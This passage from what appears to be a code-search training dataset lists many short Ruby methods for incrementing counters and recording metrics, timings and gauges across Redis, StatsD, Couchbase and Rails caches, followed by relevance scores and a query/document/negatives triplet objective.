counter.incr(val)\n save\n counter.reconcile!\n end", "def inc(value=1) \n if valid?\n #raise CustomError::InvalidBar unless valid?\n _set(:start_at, Time.now.to_f) unless _get(:start_at)\n _set(:current_at, Time.now.to_f)\n inc_value = _inc(:current,value)\n mylog(\"inc inc_value: #{inc_value}\")\n inc_value\n end \n end", "def increment_failures_metric\n metric_increment(:failures)\n end", "def set(key, value)\n raise Deployment::InvalidArgument.new self, 'The value should be a Counter object!', value unless value.is_a? Deployment::Concurrency::Counter\n key = to_key key\n @group[key] = value\n end", "def increase(attr)\n raise NoMethodError, \"undefined method `#{attr}` for #{self}\" unless self.respond_to?(attr)\n raise NotCounterbleError, \"not countable attributs `#{attr}` for #{self}\" unless countable.include? attr\n self.send(\"#{attr}=\", self.send(attr).send(:+, 1))\n end", "def incr\n add(1)\n end", "def record_gauge(metric, opt, value: nil, labels: {})\n case opt\n when :set then\n metric&.observe(value.to_i, labels)\n when :add then\n metric&.increment(labels)\n when :remove then\n metric&.decrement(labels)\n end\n end", "def incr(key)\n node_for(key).incr(key)\n end", "def increment(who, amount = 1)\n stat(key(who)).record_data_point(amount)\n end", "def increment\n @counter = @counter + 1\n end", "def increment_counter(counter_name, id)\n update_all \"#{counter_name} = #{counter_name} + 1\", \"#{primary_key} = #{id}\"\n end", "def increment\n Dictionary.db.zincrby @key, 1, @value\n end", "def increment(stat, value)\n\t\tcurrent = instance_variable_get(\"@#{stat}\") || 0\n\t\tinstance_variable_set(\"@#{stat}\", current + value)\n\tend", "def increment_counter(counter_name, id, by: 1, touch: nil)\n update_counters(id, counter_name => by, touch: touch)\n end", "def incr(key)\n send_command([:incr, key])\n end", "def increment *args\n accumulators.incr(scope(*args))\n end", "def increment_counter(counter)\n\tcounter += 1\n\treturn counter\nend", "def []=(key, value)\n @metrics[key] = value\n end", "def increment!\n @value += @increment\n \n self\n end", "def register_counter( name )\n @metrics.counter( name )\n end", "def incrby(key, increment)\n node_for(key).incrby(key, increment)\n end", "def speed_incr _value\n send_cmd(\"speed_incr #{_value}\")\n end", "def increment\n curr_value = counter\n self.counter = curr_value + 1\n save\n curr_value\n end", "def send(metric)\n begin\n open_socket()\n @logger.debug(\"Send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to #{@host}:#{@port}...\")\n @socket.send(metric.format_before_send, 0)\n @socket.close\n rescue\n @logger.error(\"Failed to send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to StatsD\")\n end\n end", "def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end", "def set_metric(key, value)\n # Keys must be unique between tags and metrics\n meta.delete(key)\n\n # enforce that the value is a floating point number\n value = Float(value)\n\n # Encode strings in UTF-8 to facilitate downstream serialization\n metrics[Core::Utils.utf8_encode(key)] = value\n rescue StandardError => e\n Datadog.logger.debug(\"Unable to set the metric #{key}, ignoring it. Caused by: #{e}\")\n end", "def increment(node)\n change_by node, 1\n end", "def increment(name, amount = 1, expires_in: nil, initial: nil, **options)\n instrument :increment, name, amount: amount do\n failsafe :increment do\n key = normalize_key(name, options)\n res = collection.binary.increment(\n key, ::Couchbase::Options::Increment(delta: amount, expiry: expires_in, initial: initial)\n )\n @last_mutation_token = res.mutation_token\n res.content\n end\n end\n end", "def incrby(key, increment)\n send_command([:incrby, key, Integer(increment)])\n end", "def metric(name,type,value)\n @metrics[name] = {\n :type => type,\n :value => value\n }\nend", "def record_value(metric, value, opts = {})\n record_internal({metric => value.round}, opts)\n end", "def test_increment_existing_numeric\n @cache.add('Key', '100', 0, Time.now.to_i + 60)\n result = @cache.increment('Key', '1')\n cache = @cache.get('Key').args\n\n assert_true result.success\n assert_equal 'STORED', result.message.chomp.split(\"\\s\")[0]\n assert_equal 101, cache.data\n end", "def increment(name, amount = 1, options = nil)\n options = merged_options(options)\n\n instrument(:increment, name, :amount => amount) do\n @client.incr(name, amount)\n end\n rescue Spymemcached::Error => e\n logger.error(\"Spymemcached::Error (#{e}): #{e.message}\") if logger\n nil\n end", "def increment\n topic.increment(1)\n end", "def increment(cache_key, amount, options)\n counter = counter(cache_key, options)\n counter[:bucket] += amount\n Prop::Limiter.cache.write(cache_key, counter)\n counter\n end", "def increment_global_counter(object_type, operation, value)\n key = GLOBAL_COUNTER_KEY % {\n operation: operation,\n object_type: object_type\n }\n description = GLOBAL_COUNTER_DESCRIPTION % {\n operation: operation,\n object_type: object_type.to_s.humanize\n }\n\n Gitlab::Metrics.counter(key.to_sym, description).increment(by: value)\n end", "def incr(key, timestamp, set_name)\n redis.zadd(set_name, timestamp, key)\n redis.incr(key).to_i\n end", "def call_inc(reg_key, addr, i_reg, m_spec)\n reg = @registers[reg_key]\n val = get_mem_addr(addr, i_reg) + reg.word.to_i\n reg.word.from_int(val)\n end", "def increment(key, val)\n self[key] += _floatify(val)\n end", "def increment(v = 1)\n if @value.kind_of?(String)\n @value = (to_f_or_i(@value) + v).to_s if to_f_or_i(@value)\n else\n @value += v\n end\n end", "def inc(v = 1)\n sync { @v += v }\n end", "def increment \n\t\t@counter = @counter + 1\n\tend", "def increment(name)\n update(name)\n end", "def set_metric\n @metric = Metric.find(params[:metric_id])\n end", "def set_metric\r\n @metric = Metric.find(params[:id])\r\n end", "def inc_value(iIncrement = 1)\n super\n end", "def update\n metric.update_attributes(update_params)\n\n respond_with(metric)\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def send_metric(name, value, type, unit)\n metric = \"gmetric -g Smoker -t #{type} -n \\\"#{name}\\\" -v #{value} -u \\\"#{unit}\\\" -c /etc/ganglia/gmond.conf\"\n puts \"sending: #{metric}\"\n `#{metric}`\nend", "def record_supportability_metric_count(metric, value)\n record_supportability_metric(metric) do |stat|\n stat.call_count = value\n end\n end", "def incr_by major, minor, value\n def_zero major, minor\n @stats[major][minor] += value\n end", "def increment_counter(counter_name, id)\n rec = collection.findOne({:_id => id})\n rec[counter_name] += 1\n collection.save(rec)\n end", "def metric_value(key, current_value, unit=\"\")\n value = current_value\n if @previous_values.has_key?(key)\n value = current_value - @previous_values[key]\n @previous_values[key] = current_value\n else\n @previous_values[key] = current_value\n value = 0\n end\n\n report_metric key, unit, value\n puts \"#{key} = #{value}\"\n\n value\n end", "def increment(field, amount = 1)\n #value = (self[field] || 0) + amount\n #self[field] = value\n #if !@parse_object_id\n # # TODO - warn that the object must be stored first\n # return nil\n #end\n\n body = {field => Parse::Increment.new(amount)}.to_json\n data = Parse.client.request(self.uri, :put, body)\n parse data\n self\n end", "def increment(m)\n matches = m.message.scan(/\\([^)]+\\)\\+\\+|\\S+\\+\\+/)\n \n matches.each do |element|\n element.downcase!\n if element =~ /\\((.+)\\)\\+\\+/\n if @@karma_db.has_key? $1\n if @@karma_db[$1] == \"-1\"\n @@karma_db.delete $1 \n else\n @@karma_db[$1] = (@@karma_db[$1].to_i + 1).to_s\n end\n else\n @@karma_db[$1] = \"1\"\n end\n elsif element =~ /(\\S+)\\+\\+/\n if @@karma_db.has_key? $1\n if @@karma_db[$1] == \"-1\"\n @@karma_db.delete $1\n else\n @@karma_db[$1] = (@@karma_db[$1].to_i + 1).to_s\n end\n else\n @@karma_db[$1] = \"1\"\n end\n end\n end\n\n end", "def gauge_metric(metric, params = { :ago => DEFAULT_RANGE })\n gauge_metrics([metric], params)[0]\n end", "def register_counter(type)\n register_metric( Drone::Metrics::Counter.new(type) )\n end", "def metrics_line(name, value, timestamp)\n \"put #{name} #{timestamp} #{value}\"\n end", "def increment\n self.class.increment(self)\n end", "def hincrby(key, field, increment); end", "def hincrby(key, field, increment); end", "def update_counter(counter, amount)\n IdentityCounter.update_counter(self.id, counter, amount)\n end", "def update_counter(counter, amount)\n IdentityCounter.update_counter(self.id, counter, amount)\n end", "def increase key, amount=1\n @lock.write_sync do\n return unless @data[key].nil? || Numeric === @data[key]\n @data[key] ||= 0\n @data[key] += amount\n end\n end", "def inc(key)\n \n end", "def increment(name, amount = 1, options = nil) # :nodoc:\n options = merged_options(options)\n response = instrument(:increment, name, :amount => amount) do\n @data.incrby(namespaced_key(name, options), amount)\n end\n rescue => e\n logger.error(\"Error incrementing cache entry in redis: #{e}\") if logger\n nil\n end", "def increment_counter\n unless self.count.nil?\n self.count += 1\n else\n self.count = 1\n end\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def incr(x) x + 1 end", "def incr(key); end", "def incr(key); end", "def update!(**args)\n @metric_id = args[:metric_id] if args.key?(:metric_id)\n @value = args[:value] if args.key?(:value)\n end", "def increment(value, score=1, session=nil)\n start_kvs_session(session) do |kvs|\n kvs.sorted_sets[key_name(Time.now)].increment(value, score).to_i\n end\n end", "def update_counters(id, counters)\n where(:_id => id).inc(counters)\n end" ]
[ "0.7484445", "0.67789537", "0.63020366", "0.59458345", "0.5944046", "0.59377646", "0.5857421", "0.58560574", "0.5832565", "0.58252645", "0.5808531", "0.57167614", "0.56437516", "0.56434214", "0.5621365", "0.5606237", "0.559021", "0.55702215", "0.55672807", "0.5564219", "0.55629045", "0.5543944", "0.5543836", "0.5507474", "0.5483261", "0.54704094", "0.5463317", "0.54080635", "0.54057145", "0.54054594", "0.5373125", "0.5367146", "0.5355021", "0.5330601", "0.5325215", "0.5315248", "0.52908957", "0.5273913", "0.5272274", "0.5247785", "0.5246284", "0.5240412", "0.52304626", "0.522669", "0.5206045", "0.5204169", "0.5189495", "0.517813", "0.517565", "0.51642734", "0.51621085", "0.5154785", "0.514867", "0.51481414", "0.514214", "0.51388884", "0.51271796", "0.5114967", "0.5108188", "0.51016945", "0.50998414", "0.50984347", "0.5089253", "0.50825083", "0.5072543", "0.50700724", "0.50681096", "0.5046656", "0.50380343", "0.5036324", "0.5019863", "0.50193554", "0.50156283", "0.50156283", "0.5011", "0.5005964", "0.49962157", "0.49690807", "0.4965132", "0.49507043", "0.4949207", "0.49435624", "0.49405476", "0.49357054", "0.49255458", "0.4917848", "0.4917848", "0.49173927", "0.49173927", "0.49058768", "0.49042162", "0.49018708", "0.48981872", "0.48973352", "0.48950854", "0.48945963", "0.48945963", "0.48936096", "0.48823655", "0.48796114" ]
0.8200005
0
Internal: Track the timing of a metric for the client. metric The String name of the metric. value The Integer duration of the event in milliseconds. Returns nothing.
def timing(metric, value) @adapter.timing metric, value end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def record_time(metric, labels = {})\n result = nil\n time = Benchmark.realtime { result = yield }\n metric&.observe(time, labels)\n result\n end", "def metric(name:, value: nil, success: -> result { true }, **rest, &block)\n result = time_block(&block)\n rescue => error\n e = Log::Event.ify(error)\n rest |= e.as_json.subhash(:error_class, :backtrace, :message)\n rest[:message] = \"#{rest[:message].inspect} while measuring metric #{name}\"\n raise error\n ensure\n protect do\n if timed_duration\n rest[:duration] = timed_duration\n end\n event = build_metric(\n name: name,\n value: value || timed_duration,\n success: success.(result),\n **rest\n )\n emit event\n end\n end", "def record_value(metric, value, opts = {})\n record_internal({metric => value.round}, opts)\n end", "def hitimes_duration_tv1\n Hitimes::TimedValueMetric.now( 'duration_tv1' ).stop( 42 )\nend", "def metrics_line(name, value, timestamp)\n \"put #{name} #{timestamp} #{value}\"\n end", "def record_gauge(metric, opt, value: nil, labels: {})\n case opt\n when :set then\n metric&.observe(value.to_i, labels)\n when :add then\n metric&.increment(labels)\n when :remove then\n metric&.decrement(labels)\n end\n end", "def _statsd_timing(metric,time)\n statsd.timing(metric,time) if statsd\n end", "def set_metric(metric)\n @metric = metric\n end", "def record_time(metric, time = nil, opts = {}, &block)\n opts, time = time, nil if Hash === time\n result = nil\n if time.nil?\n raise ArgumentError, \"You should pass a block if time is not given\" unless block_given?\n time = Benchmark.measure do\n result = block.call\n end.real\n end\n record_internal({\"#{metric}.time\" => (time * 1000).round}, opts)\n result\n end", "def metric(name,type,value)\n @metrics[name] = {\n :type => type,\n :value => value\n }\nend", "def set_metric(key, value)\n # Keys must be unique between tags and metrics\n meta.delete(key)\n\n # enforce that the value is a floating point number\n value = Float(value)\n\n # Encode strings in UTF-8 to facilitate downstream serialization\n metrics[Core::Utils.utf8_encode(key)] = value\n rescue StandardError => e\n Datadog.logger.debug(\"Unable to set the metric #{key}, ignoring it. Caused by: #{e}\")\n end", "def _statsd_time(metric)\n if statsd\n statsd.time(metric) do\n block_given? ? yield : nil\n end\n else\n block_given? ? yield : nil\n end\n end", "def send_metric(name, value, type, unit)\n metric = \"gmetric -g Smoker -t #{type} -n \\\"#{name}\\\" -v #{value} -u \\\"#{unit}\\\" -c /etc/ganglia/gmond.conf\"\n puts \"sending: #{metric}\"\n `#{metric}`\nend", "def []=(key, value)\n @metrics[key] = value\n end", "def hitimes_duration_t1\n Hitimes::TimedMetric.now('duration_t1').stop\nend", "def metric_value(key, current_value, unit=\"\")\n value = current_value\n if @previous_values.has_key?(key)\n value = current_value - @previous_values[key]\n @previous_values[key] = current_value\n else\n @previous_values[key] = current_value\n value = 0\n end\n\n report_metric key, unit, value\n puts \"#{key} = #{value}\"\n\n value\n end", "def report_counter_metric(metric, type, value)\n @processors ||= {}\n\n if @processors[metric].nil?\n @processors[metric] = NewRelic::Processor::EpochCounter.new\n end\n\n report_metric metric, type, @processors[metric].process(value)\n end", "def measure key,value\n @context= {}\n @path = \"#{key}\" \n @context[:callcount] = 1\n @context[:firsttimestampoffset] = Time.now.to_f*1000 - value\n @context[:name] = @path\n @context[:responsetime] = value\n @context_list << @context\n end", "def increment(metric, value = 1)\n @adapter.increment metric, value\n end", "def track!(metric_name,call_time,options = {})\n meta = ScoutRails::MetricMeta.new(metric_name)\n meta.scope = options[:scope] if options.has_key?(:scope)\n stat = metric_hash[meta] || ScoutRails::MetricStats.new\n stat.update!(call_time,options[:exclusive_time] || call_time)\n metric_hash[meta] = stat\n end", "def metric(metric_id)\n from_resource :metric,\n connection.get(api_uri(\"metrics/#{metric_id}\"))\n end", "def gauge(key, value, tags = {})\n tags[:hostname] = hostname if hostname\n Appsignal.set_gauge \"sidekiq_#{key}\", value, tags\n end", "def record_supportability_metric_timed(metric)\n start_time = Time.now\n yield\n ensure\n duration = (Time.now - start_time).to_f\n record_supportability_metric(metric, duration)\n end", "def metric\n\t\tc = current_user.company\n\t\tm = Metric.find(params[:metric]).class\n\t\td = m.get_datum(c)\n\t\tif d.nil?\n\t\t\trender :nothing => true, :status => 404\n\t\telse\n\t\t\trender :json => { :timestamp => d.created_at, :value => d.value }\n\t\tend\n\tend", "def metric(data={})\n if @@metrics_buffer.empty?\n @@metrics_buffer = [data]\n else\n @@metrics_buffer << data\n end\n end", "def gauge_metric(metric, params = { :ago => DEFAULT_RANGE })\n gauge_metrics([metric], params)[0]\n end", "def metric_values=(value)\n @metric_values = value\n end", "def send(metric)\n begin\n open_socket()\n @logger.debug(\"Send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to #{@host}:#{@port}...\")\n @socket.send(metric.format_before_send, 0)\n @socket.close\n rescue\n @logger.error(\"Failed to send metric \\\"#{metric.host_prefix_name}\\\" \" \\\n \"to StatsD\")\n end\n end", "def register_metric(metric)\n @metrics << metric\n metric\n end", "def record_measure_elapsed(label)\n elapsed = Benchmark.realtime do\n yield\n end\n\n mins, secs = elapsed.abs.divmod(60)\n $logger.debug(\"#{label}: #{mins}m #{secs.to_i}s\")\nend", "def record_metrics_internal(metric_specs, value, aux)\n tsh = transaction_stats_hash\n if tsh\n tsh.record(metric_specs, value, aux)\n else\n with_stats_lock do\n @stats_hash.record(metric_specs, value, aux)\n end\n end\n end", "def value\n hash[:value] = log.metric_amount || log.duration || 1\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def get_cloudwatch_metric(cw, metric_name, last_poll, statistics, units, id)\n dt = 60 # period\n t0 = (Time.at(last_poll.to_i)-65) # last poll time\n t = (Time.now-60) # actual time\n\n while ((t - t0)/dt >= 1440) do dt+=60 end\n\n options={:namespace=>\"AWS/EC2\",\n :metric_name=>metric_name,\n :start_time=> t0.iso8601,\n :end_time=> t.iso8601,\n :period=>dt,\n :statistics=>statistics,\n :unit=>units,\n :dimensions=>[{:name=>\"InstanceId\", :value=>id}]}\n\n cw.get_metric_statistics(options)\n end", "def write_metric(metric_name, level, value, time)\n write_to_graphite( construct_metric_name(metric_name, level), value.to_s, time)\n end", "def set_metric\r\n @metric = Metric.find(params[:id])\r\n end", "def measure(name, value = nil, sample_rate: nil, tags: nil, no_prefix: false, &block)\n if block_given?\n return latency(name, sample_rate: sample_rate, tags: tags, metric_type: :ms, no_prefix: no_prefix, &block)\n end\n\n sample_rate ||= @default_sample_rate\n return StatsD::Instrument::VOID unless sample?(sample_rate)\n\n emit(datagram_builder(no_prefix: no_prefix).ms(name, value, sample_rate, tags))\n end", "def record(name = nil, duration = nil, description = nil, **kwargs)\n name ||= kwargs[:name]\n duration ||= kwargs[:duration]\n description ||= kwargs[:description]\n\n metrics[name] = Metric.new(\n name: name,\n duration: duration,\n description: description\n )\n end", "def metric\n if log.dimensions\n name = log.metric.to_s.sub(/\\A\\/+/, '')\n name.gsub!('/', '.')\n hash[:metric] = name\n else\n hash[:metric] = metric_name\n end\n end", "def add_custom_metric(index, value)\n self.custom_metrics[\"cm#{index}\"] = value\n end", "def metric\n provider.find_metric(metric_key)\n end", "def record_values(metrics, opts = {})\n record_internal(metrics, opts)\n end", "def record_supportability_metric(metric, value=nil)\n real_name = \"Supportability/#{metric}\"\n if block_given?\n record_metrics(real_name) { |stat| yield stat }\n else\n record_metrics(real_name, value)\n end\n end", "def set_metric\n @metric = Metric.find(params[:metric_id])\n end", "def formatted_metric_value metric_value\n return \"MISSING\" unless metric_value.value\n case metric_value.metric.metric_format(:type)\n when :currency\n number_to_currency(metric_value.value, :unit => metric_value.metric.metric_format(:before))\n when :days, :hours, :minutes, :percentage\n \"#{metric_value.value.round(2)} #{metric_value.metric.metric_format(:after)}\"\n else\n metric_value.value.round(2)\n end\n end", "def get_metric start, stop, step\n\t\t@store.get_metric self, start, stop, step\n\tend", "def on_timer(value=1000)\n Thread.new() {\n begin\n nbtick=(value/TICK)+1\n loop do\n i=0\n sleep(TICK/1000.0) while self.connected?() && (i+=1)<nbtick\n self.connected?() ? yield() : break\n end\n rescue Exception => e\n $stdout.puts \"#{e} :\\n #{e.backtrace.join(\"\\n \")}\"\n end\n }\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def Metric(metric_name, &class_body)\n metric_collector = Class.new(::Critical::MetricBase)\n metric_class_name = Critical::Metrics.const_set(metric_name.to_s.capitalize, metric_collector)\n metric_collector.metric_name = metric_name\n log.debug { \"Defining metric '#{metric_name}' as '#{metric_class_name}'\"}\n metric_collector.class_eval(&class_body) if block_given?\n MonitorDSL.define_metric(metric_name, metric_collector)\n metric_collector\n end", "def measure(args={})\n assert_open!\n value = required(args, :value).to_i\n hour = date_as_hour((args[:when] || Time.now).utc)\n metric = escape(required(args, :what).to_s)\n where = (args[:where] || {}).map{|k,v| [k, v, escape(k) << '=' << escape(v), max_ttl_of_dimension[k]] }\n where.all_combinations do |dimensions|\n dimensions_string = dimensions.sort.map{|k,v,s,ttl| s}.join('&')\n ttl = (dimensions.map{|k,v,s,ttl| ttl} << ttl_of_hours).compact.min\n suffix = build_key('', hour, metric, dimensions_string)\n count_incrementer.increment(\"count#{suffix}\", 1, ttl)\n incrementer.increment(\"sum#{suffix}\", value, ttl)\n range_updater.update_range(\"range#{suffix}\", value, ttl)\n incrementer.increment(\"sumsqr#{suffix}\", value*value, ttl)\n end\n where.size.times do |i|\n where2 = where.clone\n list, dimension_value, _ = where2.delete_at(i)\n list = escape(list)\n key_middle = \"#{hour}/#{metric}/#{list}?\"\n where2.all_combinations do |dimensions|\n key_suffix = \"#{key_middle}#{dimensions.sort.map{|k,v,s,ttl| s}.join('&')}\"\n ttl = (dimensions.map{|k,v,s,ttl| ttl} << ttl_of_hours).compact.min\n inserter.insert(\"list:/#{key_suffix}\", dimension_value, ttl)\n estimator = HyperLogLog::Builder.new(CARDINALITY_ESTIMATOR_ERROR_RATE, Proc.new do |idx, val|\n range_updater.update_range(\"hyperloglog:#{idx.to_i}:/#{key_suffix}\", val, ttl)\n end)\n estimator.add(dimension_value)\n end\n end\n end", "def get_metric(key)\n metrics[key] || meta[key]\n end", "def set_measurement(name, value, unit = \"\")\n @measurements[name] = { value: value, unit: unit }\n end", "def set_value_metric\r\n @user = User.find(params[:user_id])\r\n @game = @user.games.find(params[:game_id])\r\n @value_metric = @game.value_metrics.find(params[:id])\r\n end", "def metric(name, &block)\n raise \"Metric #{@metric_id} already defined in playground\" if playground.metrics[@metric_id]\n\n metric = Metric.new(playground, name.to_s, @metric_id)\n metric.instance_eval(&block)\n playground.metrics[@metric_id] = metric\n end", "def calculate_time_in_seconds(base_value:, unit_label: self.unit)\n multiplier = TIME_MULTIPLIERS[unit_label]\n # cast as float to allow passing in strings from search requests as values\n base_value.to_f * multiplier\n end", "def to_metric\n Metric.new(\n Instrumentation.series,\n {\n duration: real_time.in_milliseconds.to_i,\n cpu_duration: cpu_time.in_milliseconds.to_i,\n call_count: call_count\n },\n method: @name\n )\n end", "def to_metric(value)\n go = (value/1000000000).floor\n mo = ((value - go*1000000000)/1000000).floor\n ko = ((value - go*1000000000 - mo*1000000)/1000).floor\n o = (value - go*1000000000 - mo*1000000 - ko*1000).floor\n\n return(\"#{go}..#{mo}.g\") if (go != 0)\n return(\"#{mo}...#{ko}.m\") if (mo != 0)\n return(\"#{ko}...#{o}).k\") if (ko != 0)\n return o\n end", "def convert_metric(i)\n case report.metric_type(i)\n when \"INTEGER\"\n # INTEGER Integer metric.\n metrics[i].to_i\n when \"FLOAT\", \"PERCENT\"\n # FLOAT Float metric.\n # PERCENT Percentage metric.\n metrics[i].to_f\n when \"CURRENCY\"\n # CURRENCY Currency metric.\n # TODO: Do this better.\n metrics[i].to_f\n when \"TIME\"\n # Google documentation claims to following:\n # TIME Time metric in HH:MM:SS format.\n # It also says it's seconds, and that's what I see in real results.\n # So comment out the following:\n # (metrics[i][0..1].to_i +\n # metrics[i][3..4].to_i * 60 +\n # metrics[i][6..7].to_i * 24 * 60)\n # Simply make it a float.\n metrics[i].to_f\n else\n # METRIC_TYPE_UNSPECIFIED Metric type is unspecified.\n metric[i]\n end\n end", "def emit_point(metric, value, options= {})\n defaults = { :timestamp => Time.now }\n options = defaults.merge(options)\n\n self.emit_points(\n metric,\n [[options[:timestamp], value]],\n options\n )\n end", "def time(target = nil)\n send_data(\"TIME #{target}\".strip)\n end", "def cw_metric\n @cw_metric ||= AWS::CloudWatch::Metric.new(\n @namespace,\n @name,\n dimensions: @dimensions\n )\n end", "def to_metric(value)\n go = (value/1000000000).floor\n mo = ((value - go*1000000000)/1000000).floor\n ko = ((value - go*1000000000 - mo*1000000)/1000).floor\n o = (value - go*1000000000 - mo*1000000 - ko*1000).floor\n\n return(\"#{go}..#{mo}.g\") if (go != 0)\n return(\"#{mo}...#{ko}.m\") if (mo != 0)\n return(\"#{ko}...#{o}).k\") if (ko != 0)\n return(o)\n end", "def stub_gc_timer(gc_timer_value_s)\n profiler = GCProfiler.init\n\n gc_timer_value_us = gc_timer_value_s * 1_000_000\n\n case profiler\n when GCProfiler::CoreGCProfiler\n NewRelic::Agent.instance.monotonic_gc_profiler.stubs(:total_time_s).returns(gc_timer_value_s)\n when GCProfiler::RailsBenchProfiler\n ::GC.stubs(:time).returns(gc_timer_value_us)\n end\n end", "def calculate_time_in_seconds(base_value:, unit_label: unit)\n multiplier = TIME_MULTIPLIERS[unit_label]\n # cast as float to allow passing in strings from search requests as values\n base_value.to_f * multiplier\n end", "def metric_params\n params.require(:metric).permit(:value, :metric_name_id)\n end", "def _statsd_increment(metric)\n statsd.increment(metric) if statsd\n end", "def record_success(metric, opts = {})\n record_status(metric, true, opts)\n end", "def record_measure(label)\n $logger.debug(\n tms = Benchmark.measure(label) do\n yield\n end.format(\"%n: %10.6rreal %10.6u user %10.6y sys\")\n )\nend", "def time(value)\n _parse_time(value)\n end", "def test_specify_metric_check_type\n driver = create_driver(%[\n check_type metric\n ], 'ddos')\n time = Time.parse('2015-01-03 12:34:56 UTC').to_i\n driver.emit({}, time)\n driver.run\n result = driver.instance.sent_data\n expected = {\n 'name' => 'ddos',\n 'output' => '{}',\n 'status' => 3,\n 'type' => 'metric',\n 'handlers' => ['default'],\n 'executed' => time,\n 'fluentd' => {\n 'tag' => 'ddos',\n 'time' => time.to_i,\n 'record' => {},\n },\n }\n assert_equal([\n ['localhost', 3030, expected],\n ], result)\n end", "def put(metric, value, options = {})\n tags = @config[:tags]\n tags = tags.merge(options[:tags]) unless options[:tags].nil?\n\n agg = options[:agg].nil? ? [] : options[:agg]\n\n sample_rate = options[:sample_rate].nil? ? 100 : options[:sample_rate]\n namespace = options[:namespace].nil? ? 'application' : options[:namespace]\n\n _put(metric, tags, value, agg, options[:agg_freq], sample_rate, namespace, options[:timestamp])\n end", "def create\r\n @value_metric = @game.value_metrics.new(value_metric_params)\r\n metric = Metric.new\r\n metric.metric_type = 1\r\n metric.game_id = @game.id\r\n metric.name = @value_metric.name\r\n metric.save\r\n @value_metric.metric_id = metric.id\r\n respond_to do |format|\r\n if @value_metric.save\r\n metric.metric_id = @value_metric.id\r\n metric.save\r\n format.html { redirect_to [@user , @game, @value_metric] , notice: 'Value metric was successfully created.' }\r\n format.json { render :show, status: :created, location: @value_metric }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @value_metric.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def timer?(metric)\n timers.detect { |op| op.first == metric }\n end", "def metric_total(key, current_value, unit=\"\")\n report_metric key, unit, current_value\n puts \"#{key} = #{current_value}\"\n\n current_value\n end", "def to_metric\n Metric.new(\n Instrumentation.series,\n {\n duration: real_time,\n cpu_duration: cpu_time,\n call_count: call_count\n },\n method: @name\n )\n end", "def timeclean(metric)\n metric.values = metric.values.find_all { |name, label, value| ['total', 'config_retrieval'].include?(name.to_s) }\n end", "def metric_increment(metric_name)\n metric.increment(metric_name)\n end", "def initialize(metric: :memory, value: :allocated)\n raise ArgumentError, \"Invalid metric: #{metric.inspect}\" unless METRICS.include? metric\n raise ArgumentError, \"Invalid value: #{value.inspect}\" unless VALUES.include? value\n\n @metric = metric\n @value = value\n end", "def register_timer(name)\n register_metric( Drone::Metrics::Timer.new(name) )\n end", "def metric_with_unit(unit)\n metrics.select {|m| Unit.new(m) <=> Unit.new(unit)}\n end", "def set_metric_name\n @metric_name = MetricName.find(params[:id])\n end", "def gauge(stat, value)\n send stat, value, 'g'\n end", "def get_metric_timeseries_data_with_http_info(metric_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MetricsApi.get_metric_timeseries_data ...'\n end\n # verify the required parameter 'metric_id' is set\n if @api_client.config.client_side_validation && metric_id.nil?\n fail ArgumentError, \"Missing the required parameter 'metric_id' when calling MetricsApi.get_metric_timeseries_data\"\n end\n # verify enum value\n if @api_client.config.client_side_validation && !['aggregate_startup_time', 'downscale_percentage', 'exits_before_video_start', 'max_downscale_percentage', 'max_upscale_percentage', 'page_load_time', 'playback_failure_percentage', 'playback_failure_score', 'player_startup_time', 'rebuffer_count', 'rebuffer_duration', 'rebuffer_frequency', 'rebuffer_percentage', 'rebuffer_score', 'requests_for_first_preroll', 'seek_latency', 'startup_time_score', 'upscale_percentage', 'video_quality_score', 'video_startup_preroll_load_time', 'video_startup_preroll_request_time', 'video_startup_time', 'viewer_experience_score'].include?(metric_id)\n fail ArgumentError, \"invalid value for 'metric_id', must be one of aggregate_startup_time, downscale_percentage, exits_before_video_start, max_downscale_percentage, max_upscale_percentage, page_load_time, playback_failure_percentage, playback_failure_score, player_startup_time, rebuffer_count, rebuffer_duration, rebuffer_frequency, rebuffer_percentage, rebuffer_score, requests_for_first_preroll, seek_latency, startup_time_score, upscale_percentage, video_quality_score, video_startup_preroll_load_time, video_startup_preroll_request_time, video_startup_time, viewer_experience_score\"\n end\n if @api_client.config.client_side_validation && opts[:'measurement'] && !['95th', 'median', 'avg'].include?(opts[:'measurement'])\n fail ArgumentError, 'invalid value for \"measurement\", must be one of 95th, median, avg'\n end\n if @api_client.config.client_side_validation && opts[:'order_direction'] && !['asc', 'desc'].include?(opts[:'order_direction'])\n fail ArgumentError, 'invalid value for \"order_direction\", must be one of asc, desc'\n end\n if @api_client.config.client_side_validation && opts[:'group_by'] && !['hour', 'day'].include?(opts[:'group_by'])\n fail ArgumentError, 'invalid value for \"group_by\", must be one of hour, day'\n end\n # resource path\n local_var_path = '/data/v1/metrics/{METRIC_ID}/timeseries'.sub('{' + 'METRIC_ID' + '}', metric_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'timeframe[]'] = @api_client.build_collection_param(opts[:'timeframe'], :multi) if !opts[:'timeframe'].nil?\n query_params[:'filters[]'] = @api_client.build_collection_param(opts[:'filters'], :multi) if !opts[:'filters'].nil?\n query_params[:'measurement'] = opts[:'measurement'] if !opts[:'measurement'].nil?\n query_params[:'order_direction'] = opts[:'order_direction'] if !opts[:'order_direction'].nil?\n query_params[:'group_by'] = opts[:'group_by'] if !opts[:'group_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['accessToken']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n 